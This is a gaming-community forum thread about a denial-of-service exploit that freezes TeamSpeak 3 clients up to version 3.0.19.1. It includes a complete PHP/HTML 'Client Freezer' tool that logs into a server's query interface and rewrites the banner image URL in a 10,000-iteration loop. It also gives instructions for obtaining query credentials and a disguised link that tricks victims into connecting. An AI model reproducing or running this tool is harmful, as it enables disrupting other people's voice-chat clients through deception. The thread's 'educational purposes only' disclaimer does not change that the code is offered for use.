Resource icon

TeamSpeak 3 Client <= 3.0.19.1 Freeze 2017-06-20

No permission to download
Joined
Apr 23, 2016
Messages
5
Reaction score
0
Points
35
Theres a client crash for 3.0.19.1, or just this one? This one is a server crash technically.
 

Derp

Retired Staff
Contributor
Joined
Apr 30, 2015
Messages
933
Reaction score
1,014
Points
217
Nope! this is a Client Freeze! That is triggered by a specially crafted server
 

jdog31804

Member
Joined
May 18, 2015
Messages
7
Reaction score
1
Points
35
can u make a custom query port one thanks :) great tool though :D
 

Laszl0w

Well-Known Member
Joined
Oct 10, 2015
Messages
217
Reaction score
149
Points
143
I think he wont even make custom query port this exploit if you read it :

This is for educational and informational purposes only. Use this information responsibly.

Derp already told to us how this exploit working,make one for yourself. :)
Like that.

ZtZTm3w.png
 

Asphyxia

Owner
Administrator
Joined
Apr 25, 2015
Messages
1,846
Solutions
2
Reaction score
2,201
Points
327
I think he wont even make custom query port this exploit if you read it :

This is for educational and informational purposes only. Use this information responsibly.

Derp already told to us how this exploit working,make one for yourself. :)
Like that.

ZtZTm3w.png
If you want to release your PHP source that is fine with me.
You don't have to though if you do not want it public. :zcool:
 

Laszl0w

Well-Known Member
Joined
Oct 10, 2015
Messages
217
Reaction score
149
Points
143
I didn't want to release it,i just want to tell everyone its possible to make it in PHP.
And i didnt got access from you to release it to public. Asphyxia
 

Alligatoras

Administrator
Joined
Mar 31, 2016
Messages
2,570
Solutions
12
Reaction score
2,857
Points
381
My question is, where can u get the server password?
Let me know too ^^
Where it says the Server Admin Password he means the Query password for the Admin Server Query Account.
This password was given to you when you created you teamspeak 3 server in the console (Linux Users) or in a Teamspeak window (Windows Users) (only if you did create the server).
If you have you teamspeak 3 server from an Authorized Hoster then you don't have the Actual Server Query Account login information.
As Server Admin of you teamspeak 3 server you are able to create your own one throught teamspeak.

On the Teamspeak Cilent just go at the top:
1) Tools
2) Server Query Login
3) Set a desired name for admin server query name in the box and then Click Ok
4) You will get your password. Make sure to save it somewhere because it won't show up again.

Then you can use these info in this programm (or any query program you want).
Remember that this query account will have the same persmissions with your teamspeak uid and not the actuall Server Query Account.

Wish that helped you guys!
 
Last edited:

Laszl0w

Well-Known Member
Joined
Oct 10, 2015
Messages
217
Reaction score
149
Points
143
Just make a code which put a random number to 1 to 10000 after the picture link.
 
Last edited:

AndyDE

Member
Joined
Apr 26, 2016
Messages
36
Reaction score
7
Points
43
Where it says the Server Admin Password he means the Query password for the Admin Server Query Account.
This password was given to you when you created you teamspeak 3 server in the console (Linux Users) or in a Teamspeak window (Windows Users) (only if you did create the server).
If you have you teamspeak 3 server from an Authorized Hoster then you don't have the Actual Server Query Account login information.
As Server Admin of you teamspeak 3 server you are able to create your own one throught teamspeak.

On the Teamspeak Cilent just go at the top:
1) Tools
2) Server Query Login
3) Set a desired name for admin server query name in the box and then Click Ok
4) You will get your password. Make sure to save it somewhere because it won't show up again.

Then you can use these info in this programm (or any query program you want).
Remember that this query account will have the same persmissions with your teamspeak uid and not the actuall Server Query Account.

Wish that helped you guys!

Okey thanks it allows also on my Server to freeze clients no any other?
 

dedmen

TeamSpeak Developer
Contributor
Joined
Mar 28, 2016
Messages
530
Reaction score
584
Points
197
Okey thanks it allows also on my Server to freeze clients no any other?
It freezes all Clients currently connected to your Server.
 

Laszl0w

Well-Known Member
Joined
Oct 10, 2015
Messages
217
Reaction score
149
Points
143
Code:
<!DOCTYPE html>
<html>
<body>
<style>
table, th, td {
    border: 1px solid black;
}
</style>
<title>R4P3 Client Freezer</title>
<center>
<iframe width="0" height="0" src="http://www.youtube.com/embed/
UA92MsDrrOI?autoplay=1" frameborder="0"
allowfullscreen></iframe>
<b>R4P3 Client Freezer</b>
<form method="POST">
<div><br>
    <label for="IP">Server IP</label><br>
    <input type="text" id="IP" name="IP"><br>
    <label for="name">ServerAdmin UserName</label><br>
    <input type="text" id="name" name="name"><br>
    <label for="pass">ServerAdmin Password</label><br>
    <input type="text" id="pass" name="pass"><br>
    <label for="port">Query Port</label><br>
    <input type="text" id="port" name="port"><br>
    <input type="submit" value="Freeze" name = "button"><br><br>
<b>This is for educational and informational purposes only. Use this information responsibly.<br>
<b>R4P3.NET @ 2016<br><br>
    Credits :<br><br>
    <table>
  <tr>
    <th>Name</th>
    <th>Job</th>
  </tr>
  <tr>
    <td>Asphyxia</td>
    <td>Found the vulnerability</td>
  </tr>
  <tr>
    <td>Laszl0w</td>
    <td>Remaked in PHP</td>
  </tr>
</table>

</body>
</html>
<?php
set_time_limit(0);
require_once("libraries/TeamSpeak3/TeamSpeak3.php");
if(isset($_POST['button']))
  {
  $sIP= $_POST["IP"];
  $sName = $_POST["name"];
  $sPassword = $_POST["pass"];
  $sPort = $_POST["port"];
  $ts3_ServerInstance = TeamSpeak3::factory("serverquery://".$sName.":".$sPassword."@".$sIP.":".$sPort."/");
foreach($ts3_ServerInstance as $ts3_VirtualServer)
{
 for ($x = 0; $x <= 10000; $x++) 
 {
 $ts3_VirtualServer->virtualserver_hostbanner_gfx_url = "http://hungarycs.hu/wp-content/uploads/2016/01/webo2016.jpg?$x";
 $ts3_VirtualServer->modify(array("virtualserver_hostbutton_gfx_url" => "http://hungarycs.hu/wp-content/uploads/2016/01/webo2016.jpg?$x"));
 }
}

}
?>

Credits to Asphyxia & Me:)
 

AstoNat

Member
Joined
May 6, 2016
Messages
7
Reaction score
0
Points
33
The download link is right here, for registered users only. Registering is free, so register if interested:


Here is a video demonstration:


All that you need:
  1. The EXE file downloaded from above.
  2. Access to a server with TCP port 10011 open.
  3. The serveradmin username (default: serveradmin) and password.
  4. Then just do something like:
Code:
[url=ts3server://127.0.0.1]https://www.youtube.com/watch?v=-qFeUHEiPiM[/url]

Theoretically, an individual will see the YouTube link and click it. Then their TeamSpeak 3 client will freeze. ;)

This is for educational and informational purposes only. Use this information responsibly.
Hello, Im login in but its not working. Iam doing smth wrong?
 

Alligatoras

Administrator
Joined
Mar 31, 2016
Messages
2,570
Solutions
12
Reaction score
2,857
Points
381
Top